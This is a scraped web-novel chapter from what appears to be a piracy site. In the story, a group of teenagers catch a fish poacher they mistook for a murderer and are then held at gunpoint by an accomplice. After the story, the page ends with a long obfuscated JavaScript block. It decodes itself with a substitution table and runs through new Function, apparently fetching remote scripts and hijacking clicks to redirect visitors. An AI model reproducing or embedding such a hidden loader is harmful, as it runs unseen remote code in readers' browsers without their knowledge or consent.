首页
第14章 血色追凶(下)
返回

第14章 血色追凶(下)

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    一个轻飘飘的东西缓缓落在他的头顶;
    诡异的触感让他起满鸡皮疙瘩;
    孟清逸愣了一下,迅速朝头顶摸去,才发现那是一个木棒一样丶轻飘飘的东西。
    他赶紧拿在眼前一看,视线中,彩色的鱼漂在月光下闪烁着光泽。
    而鱼漂之上是鱼线,准确地说,从头顶上落下来的,竟然是一根没有装钩子的鱼线。
    这是……
    经过了一瞬的迟疑,他的视线转向鱼线末端,只见那里已经被贴心地打好了一个绳结。
    那个绳结再眼熟不过,是他从某本求生杂志上学的,男孩子对这种没用的花活毫无抵抗力,他学会了便准备传授给几个死党,可若萍杜康都嗤之以鼻,觉得没用,只有一个人和他一样,觉得帅就足够;
    而眼前的这个绳结,又是诸多系法中最为牢靠的一种;
    只要把系好的绳结套在某样东西上,轻轻一提线头,就能牢牢地拴住。
    ——甚至考虑到了他们几个挤在芦苇丛里难以活动,就像妈妈给你削的水果早已切成了块,这根聪明的鱼线似乎一眼就看破了他们的窘迫;
    此刻宛如神迹从天而降,雪中送炭也不足以形容!
    少年眼前一亮,心中顿时了然。
    他按捺住心中的激动,深呼吸一下,轻轻扯了下鱼线,接着鱼线像是突然有了生命一样,往下放得更长;
    清逸将系着绳结的一端套向身前的芦苇,在心里比量一下长度,再次扯了下鱼线;
    鱼线也跟着颇为默契地往下放。
    终于,等到两边的长度足够丶能够到另一侧的芦苇,他接着扯了一下,鱼线顿时停住。
    这条聪明的鱼线似乎还要做些什麽,毕竟刚刚系好绳结的只有一端,接着他似乎听到金属咬断某个东西的脆响;
    孟清逸知道,接下来自己能做的唯有耐心的等待。
    他的喉结滚动一下,目光死死地盯住前方——
    男人脚边的芦苇被全部填进了坑内,对方直起腰,再次向芦苇丛走来;
    而就在这时,半空中的鱼线突然一股脑地落下,他等这一刻不知道等了多久;
    孟清逸一把扯过鱼线,在鱼线的另一段,果然能看见一枚新鲜出炉的绳结,像是把一切都安排好了一样,只待他套在身侧的芦苇上。
    但现在不是感慨这些的时候。
    男人越来越近,只见若萍已经下意识朝自己望来,一切发生在电光火石之间,孟清逸迅速将绳结挂在少女身前的芦苇上,高度和正处于人的喉结往下一点,接着他一只手扯住若萍的衣服,猛地往后一拽,少女猝不及防地往后一退,惊呼声尚未出口;
    孟清逸也随着惯性向后倒去,最后一刻,他用手肘捣向杜康的腹部——
    「呀——」
    「靠!」
    少年少女的尖叫同时出口,男人顿时停住脚步,大喝道:
    「谁?」
    回应他的只有原本安静的芦苇丛里突然人影晃动,男人先是一愣,像是想起了什麽,接着目露凶光,举起匕首,一个箭步朝芦苇丛冲去,只待手起刀落!
    众人呼吸凝固,月色下的刀身亮起一点寒芒,种种目光聚集在此处,然而——
    「吓吓……」
    宛如人被掐住喉咙发出的窒息声,正在猛冲的男人突然停在当场,像是被施了一个定身咒,只见对方痛苦地捂住脖子,在原地挣扎着;
    就在他身前不远处,冯若萍刚挣扎着从地上站起来,被眼前的异变惊住,正不知是赶紧跑还是怎麽办,这时却听见头顶传来一道熟悉的清喝,让她眼眶一热:
    「杜康,清逸,上!」
    接着身边两道黑影猛地窜出去,一个直接压着身子抱住男人的腰部,将对方扑倒在地上;另一个则利落地踩住男人拿匕首的手;
    混沌的局势一瞬间被控制住。
    少女立马转过头,只见一个少年半跪在头顶的土路上,双手撑住地面;
    夜色下他的双眼熠熠生辉,少有地露出一个大大的笑容:
    「怎麽样,我当时就说帅就足够吧?」
    ……
    逗了若萍一句,张述桐移开目光,确认凶手已经被控制住;
    清逸这家伙不仅会野外求生知识,还很拉风地会手刀,这个绝招连他都没有学会,属于真传,传子不传兄的那种;
    只见对方结结实实地给了男人后颈一下,男人果然安静地栽倒在地,张述桐这才彻底放下心来,却没有急着下去;
    但他不急着下去,名叫冯若萍的少女却是蹭蹭地跑上来了。
    「你们没事吧?」
    本以为收获一波崇拜的星星眼,谁知少女捂住嘴,声音都变得有些哽咽。
    「你还说……」
    虽然平时风风火火的,但女孩子果然是女孩子嘛。
    他见状无奈地笑笑,但也不准备安慰。
    如果需要自己安慰的话,那少女就不叫冯若萍了——
    「你还跪在这里干嘛,知道你帅了行不行?」女孩顿时叉起腰,用唬人的语气掩饰着刚才流露出的脆弱。
    张述桐指指自己的脚:
    「你看啊。」
    他不是故意摆个pose,而是刚才避免闹出动静打草惊蛇,早早地将自行车停在远处,又脱了鞋,拿上鱼竿甩棍剪刀,只穿着袜子走了过来。
    老实说,地上真够冷的,现在脚都快冻僵了。
    「你真是……冷不冷?」
    若萍顿时哑火了,着急地问了一句,往周围一看,急匆匆地跑去给他拿鞋,张述桐穿好鞋,两人一起下了土坡,打量起眼前的男人。
    杜康和清逸也围过来,只有路青怜去了男人挖的坑边,也不知道在研究什麽。
    这姑娘心真够大,连张述桐都需要做一番心理建设再过去;话说回来,你真不去看看八年后杀死你的凶手长什麽样子吗?
    但对方怎麽想他也管不着,谁让这是八年后的事,张述桐就和几个死党你一言我一语地聊起来。
    若萍估计被憋坏了,立马追问他怎麽回事,不是去追那个男人了吗,怎麽知道回来。
    「你们都知道了?」张述桐有些惊讶,倒不如说这是他唯一没有料到的事。
    「清逸推理出来的,你那个两个理由自相矛盾。」
    「好吧,其实我妈只让我送东西,根本没催我。」
    后者他可以认,但前者解释起来太麻烦,乾脆把锅给老妈了。
    「所以你怎麽回来的?」
    「看到了若萍的电话了。」
    张述桐耸耸肩。
    如果将时间倒回十几分钟前,当时他骑着自行车,在追与不追之间最终选择了后者,理由也很简单:
    第一,这些年的经历让他选择相信自己,而不是把希望寄托到警察会停车上;
    第二,虽然要找到凶手没错,但越往前走不可预料的意外越多,当时有些心急,但后来想想,犯不着一个人以身犯陷。
    所以他直接去找了有信号的地方,看到若萍的未接来电又急匆匆赶回来,现在来看,真有些庆幸自己选择了后者。
    好在及时赶上了。
    杜康却很是纳闷:
    「那你怎麽知道我们这边出事的?」
    「很简单啊。」
    张述桐解释道:
    「若萍这人你们又不是不了解,如果没事她反倒喜欢在QQ上一直轰你,可我只看一条电话,也没有后续,那就肯定是出事了。
    「当然了,我也不知道这个人从我后面绕回来了,就报了警赶紧往回赶,路过这里的时候多留了个心眼,没看到有人骑车的痕迹,结果正好你们看到躲在芦苇丛里,岸边还有个男的挖坑,再然后……」
    说了这麽长一段话,张述桐有点累:
    「嗯,你们就问清逸吧。」
    接着清逸便把那根鱼线的事解释了一遍,死党之间从不吝啬马屁,但说实话,几人都太熟也没什麽好高兴的;
    张述桐收获了三顿肯德基,他们三个一人一顿,说着说着就约好周末去城里吃嫩牛五方;
    你们怎麽能吃下肯德基的?
    张述桐闻着浓郁的臭气都快要吐了,赶紧制止几人回家再讨论,打起手电照了照,示意道:
    「先看看这个人什麽情况。」
    在场的人里,应该没有一个比自己心情更急迫的。
    事实也是如此,只有他一个想去揭露凶手的真容,其他几个都跟着跑去了土坑边,又好奇又害怕地想要一探究竟。
    张述桐不管他们,用手电直照着男人的脸,看了几眼,却纳闷地皱皱眉头。
    男人有张很胖的脸,光头,所以能看到太阳穴的位置有道刀疤,一直延伸到下巴,除此之外没什麽特徵,他努力回忆过往接触的人群,实在没有印象——
    但自己不认识也算合理,毕竟就他一个是被灭口的,应该拍下来等明天问顾秋绵认不认识。
    这样想着正要掏出手机拍照,却听若萍「哇」地一声偏过脸,急忙后退几步,差点要吐出来。
    「都跟你说了少看。」想想就知道该有多血腥。
    「不是……」若萍捏着鼻子,缓了好一会才说道,「你自己看看吧……不行,这里太臭了,我得上去喘口气……」
    她估计是被吓得不轻,不敢一个人走夜路,说着还心有馀悸地扯了扯路青怜,「青怜也一起上去吧,别看了,我这一个星期都吃不下饭了……」
    两人前脚刚走,杜康也跟着呕了一声,也一起跟着上去,张述桐朝着他们的背影嘱咐道:
    「那你们上去正好给警察局打个电话。」
    他之前是报警了,但只说在小岛西边的某片野地有情况,至于是哪片野地,他就真的不知道了,倒是杜康能说清。
    眼看三人都上了土坡,只有清逸留了下来,张述桐提前捏好鼻子,到死党跟前蹲下身。
    「你猜这里面是什麽?」
    清逸也捏着鼻子,瓮声瓮气的。
    张述桐打着手电一照,愣了一下,土坑已经被清逸拨开,在此之前已经猜想过种种血腥的画面,可怎麽也没想到,里面的东西他再熟悉不过,居然是……
    满坑的鱼?
    鱼?
    张述桐顿时看向那个躺在地上的男人,只听清逸憋着气说:
    「咱们都想错了,这就不是什麽杀人犯,杜康他果然说的没错……」
     杜康说了什麽先别管,但张述桐是明白这坑里是什麽了,他也跟着惊讶道:
    「怎麽是电鱼的?」
    只见大坑里全是鱼腐烂的尸体,散发着浓浓的血气与腐臭味。
    「就是电鱼的。」清逸罕见地爆了句粗口,郁闷道,「我还以为是杀人犯你知道吧,刚才吓得够呛,要知道是电鱼的哪还用躲这麽久,早知道……唉。」
    说着他摇摇头:
    「说这些没意义,是我事后诸葛亮了,就算是电鱼的,当时要不是述桐你,若萍她估计要有危险。」
    张述桐倒没有领功的心思,他不在意这个,几个人没事就行;
    他现在只是有点郁闷,没比清逸好到哪去——
    虽然最后算是有惊无险,但解决男人的过程也算曲折,当杜康他们把男人按倒的时候,哪怕是他,心里也久违地升起一阵激动:
    原来就是你啊,杀了我杀了顾秋绵还杀了路青怜,没想到回来第一天就被逮到了吧?
    虽然也有些「事情居然这麽轻易被解决」的错觉,但他当初被对方杀死的时候也很容易,但没想到,最后居然是抓了个电鱼的。
    这时候真的需要一根烟了。
    然后周围没有烟,只有扑鼻的臭气。
    「我想静静……」
    「我也想。」
    两人对视一眼,同时转过身,猛吸身后那一丁点新鲜空气,又转过头盯着鱼坑看。
    清逸扒拉着男人身上的东西,刚才他已经搜过了身:
    「你看,这就是杜康刚才说的蛇皮袋,其实是装死鱼的袋子,另一个提着的东西就是铁杴……哦,对了,还有这个,述桐你猜这个是啥?」
    只见清逸从男人背后解下来一个烧火棍模样的物件。
    「电鱼的叉子?」
    「没错,我还以为是枪……」
    张述桐看着死党满脸的无语,差点想笑,自己很郁闷,但看到别人更郁闷,似乎自己的郁闷也减轻了一点;
    但这里实在太臭,又赶紧闭上嘴,从牙缝里挤道:
    「算了,没事就行,我当时还担心你看不出我的意思。」
    「你别说,我当时整个人都激灵了,你能想出那办法也是神了,不过也亏了你当时扔我头上,要给他俩真不一定能看出来。」
    只听清逸又嘟囔道:
    「你说,怎麽什麽事都能叫杜康给碰上啊……」
    「什麽意思?」
    「你忘了?上周他说看到有电鱼的,还很正义地去报了警,结果警察不信,咱们几个也没信,没想到他说得是真的,估计他之前看到的就是这个人了吧。」
    听他这麽一说,张述桐顿时有印象了。
    记得今天下午去报警的时候,警察之所以不信自己的说辞,就是上周刚被他们耍了,说有个娃娃脸少年骗他说有人电鱼,结果警察前脚刚去巡逻,他们几个就去另外一边钓鱼了。
    连张述桐自己都以为,这其实是当年几个熊孩子为了钓鱼编出的谎,没想到是真的。
    想到这里他有点哭笑不得,转念想想,这事也属于叶公好龙,要是那个晕倒的男人真是凶手,未必能被他们几个轻松解决。
    总之,这个不寻常的夜晚总算是过去了,他这一晚上光在寒风中来回逛,如今确认了男人的身份,才意识到精神早就疲惫不堪,只想回家栽倒在床上。
    「不过,你有没有觉得不对?」清逸突然又问。
    事情一解决,这家伙的毛病又烦了。
    「说。」张述桐翻个白眼。
    「我刚才想了想,当时我挂好鱼线,不是专门让杜康喊了一嗓子,就为了引他过来吗。
    「可他要是个电鱼的,又不是多大的罪,被抓到最多拘留几天,至于亮刀子吗?」
    「还真是。」
    张述桐也摸着下巴,若有所思道。
    反正事情解决了,几人还要等警察来收场,暂时走不了,他也有兴趣和死党玩玩推理游戏,以前他俩就喜欢玩这个。
    「说不定以前是个逃犯?」张述桐随口道,「刚刚从他身上搜出什麽没?」
    「钱包丶瑞士军刀丶火机和烟……哦,还有这个,手机。」清逸又回到男人身上摸了摸,「但咱们又不知道密码,没一点用。」
    「那不挺常见的。」张述桐也站起身,却总觉得有哪里不对。
    他随即皱皱眉头,似乎就差这麽一丁点就能连上头绪,好像重要也好像不重要,可偏偏就差这麽一丁点,也许是今晚太累了,他怎麽也捕捉不到这一丝灵光。
    倒是清逸先没了兴致,明明是他提出要推理的:
    「算了,就个电鱼的光头,咱俩在这研究他干嘛,这麽臭,不如回家看我的小说呢。你看若萍他们,上去了乾脆不下来,这麽长时间了都没个动静,显得咱俩傻了吧唧的。」
    张述桐也基本同意,一个电鱼的实在没什麽可研究的,你说对方当时有点反常没错,但狗逼急了都会跳墙呢,掏刀子也不是多奇怪的事。
    于是他跟上死党的脚步,走过男人身边时,张述桐瞥了他最后一眼。
    果然还是个破相的光头男人。
    等等……
    光头……
    光丶头?
    张述桐的动作突然一顿,冲到男人身前,却不看男人本身,而是快速扫过从对方身上搜出的东西,一个个常见的物品摆了一地;
    「咋了,想到啥了?」
    清逸回过头。
    「你们从一开始见到他就是这个样子?」张述桐的语速开始不自觉加快:「还有你确定你们就搜出这些东西,一点没漏?」
    「当然,他那把瑞士军刀刚才掉在芦苇里了,都是我捡回来的,所以你发现啥了?」清逸奇怪道。
    夜风中,突然间寒意遍布全身,他盯着清逸的眼,一字一句道:
    「那……杜康看到的鸭舌帽呢?」
    清逸也愣了:
    「这丶这不能吧,编织袋什麽的都能对上,你等等,我把他喊下来问问……」
    说着两人快步上了土坡,还没爬到顶,就看到杜康站在土路上,清逸顿时抱怨道:
    「你不跟我俩混,跟两个女生在一起干什麽,有事问你,你下来看看……」
    只是话没说完就被张述桐一扯,他下意识回头看,却见对方的视线只是钉在杜康脸上。
    孟清逸也跟着望去,又是一愣,因为杜康不再是那张总是笑嘻嘻的脸,而是挤出一个比哭还难看的表情。
    只听少年的声音挤出齿缝:
    「述桐,他们……不止一个……」
    ……
    「他们……不止一个……」
    话音刚落,手电的强光顿时填满视野,张述桐立即拉着清逸低下身子,眼睛被强光闪了一下难受地要命,半天都白茫茫的,他偏过脸,努力皱起眉头,勉强把前方的画面看清:
    空旷的土路上;
    杜康的背后是若萍,少女正红着眼;
    若萍的背后则是路青怜;
    而路青怜的背后……
    是一个戴着鸭舌帽的高瘦男人。
    男人移开手电,皮动肉不动地笑了:
    「你们几个终于凑齐了,没别人了吧?」
    他的嘴唇上留着一撇八字胡,像一只阴骜的蛇。
    张述桐脑子顿时嗡了一下,原本松懈的神经在一瞬间绷紧;
    现在的位置很不妙,自己在下对方在上,这种时候绝对不能被对方一窝端了,他正要把清逸推下土坡,却听男人暴喝道:
    「别动!手举起来!」
    不等他做出反应,对方却是抬起了什麽东西,张述桐定睛一看,心顿时沉到了谷底——
    男人手里握着的,是一把长枪。
    枪口正抵在路青怜脑袋后面,他松开清逸的衣服,慢慢举起手。
    「就是这样,手里东西全给我扔在地上,排上来站着……」
    男人说话的时候嘴唇上的八字胡也在动。
    张述桐一边按照对方的话去做,故意拖慢脚步,他扫过地上被摔开的两台手机,那应该是若萍和杜康的……一边在脑海里飞速思考着对策;
    说明报警从一开始就失败了,这才是男人有恃无恐的关键,但对方应该不知道他提前报了警,说不定可以利用这点信息差做点什麽……
    但也很难说警察什麽时候能找到这里,对方铤而走险又该怎麽办?
    为什麽被抓住的偏偏是路青怜?他们几个里面最容易被控制的就是对方,张述桐没忘了少女穿了身长袍,连跑都很难跑掉,一旦察觉到不对,伸手一拉长袍,她就被死死定在原地了。
    所以要尽量拖延时间,等警察过来,如果有机会可以夺走……算了,无论怎麽说都要先保证路青怜的安全……
    纷杂的念头闪过脑海,焦虑与躁动涌上胸间,随后又被他强行按捺下去;
    张述桐深吸一口气,慢慢迈开脚步,男人却仿佛看穿了他的想法:
    「想跟老子拖时间啊,都去我前面!」他指了指杜康和若萍,「你们两个去给我把王康抬上来,别耍心眼!」
    若萍和杜康还有些迟疑,男人却又一声爆喝:
    「去啊!」
    说着就拿枪口用力朝路青怜头上用力一撞——
    时间在这一刻仿佛定格。
    月光黯淡的夜晚;
    冷风呼啸丶四下寂寥;
    赤裸的狰狞恶意如浪潮扑面;
    若萍似乎已经闭上眼不敢再看;
    杜康强忍着怒意,牙关紧咬;
    清逸背过身将手机划下土坡;
    这一刻似乎风都要静止:
    然后,张述桐看到名为路青怜的少女眉头一皱。
    预想中金属撞击脑袋的声音并没有响起,路青怜只是微微偏过头,那张精致的脸上还是没有表情。
    下一刻,在男人因惊愕而愤怒的的面孔下;
    少女动了。
    她身子一矮,扭腰丶侧身丶提腿;
    青丝与青袍蓄势待发丶接着同时舞动;
    扬起的长袍下,只是惊鸿一瞥,少女修长的腿犹如一枚炮弹——
    倏地轰向男人胸口!
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();